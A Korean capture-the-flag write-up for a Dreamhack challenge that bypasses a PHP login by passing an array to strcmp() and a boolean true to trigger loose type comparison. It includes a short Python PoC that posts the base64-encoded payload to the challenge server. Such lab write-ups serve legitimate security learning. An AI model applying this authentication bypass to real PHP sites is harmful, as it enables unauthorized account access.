https://dreamhack.io/wargame/challenges/1213
환경
- PHP 7.3 버전을 사용 중.
- /index.php 에서 로그인 기능을 수행.
- id, pw, otp를 입력받고 login.php에서 입력받은 값을 base64로 인코딩 수행.
- base64로 인코딩된 정보로 신원 확인 절차 수행.
- admin의 비밀번호는 16진수 32자리를 랜덤하게 생성.

- admin의 otp는 “P” + 10진수 6자리를 랜덤하게 생성.

접근
- admin으로 로그인을 하면 flag.php를 불러와 플래그를 획득할 수 있다. 그러므로 admin에 로그인하는 것이 목표다.
- admin의 pw와 otp는 랜덤으로 생성되며, 길이가 매우 기므로 브루트포스를 수행하지 않고 해결할 생각이다.
- PHP는 문자열과 비교 시, 자동으로 형변환되는 특성을 이용해 이를 우회할 것이다.
풀이
- pw는 배열([ ])을 전달하여, 문자열과 strcmp()로 비교하면 NULL이 반환되고, !NULL은 true가 된다.
- otp는 true를 전달하여, Type Juggling이 일어나 전달한 true는 1이 되고, 기존 otp 문자열은 “P000000” 형태로, 문자로 시작되어 0으로 변한다. 비교하게 되는 값은 1 != 0 이 되고, 이 비교는 true가 된다.
PoC 코드
import requests
import base64
url = "http://host8.dreamhack.games:17029/index.php"
header = { 'Content-Type':'application/x-www-form-urlencoded' }
data = '{"id":"admin","pw":[],"otp":true}'
b64data = (base64.b64encode(data.encode())).decode()
response = requests.post(url, headers=header, data=f'cred={b64data}')
print(response.text)
참고 자료
https://www.php.net/manual/en/types.comparisons.php
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html?highlight=php%20strcmp#strcmpstrcasecmp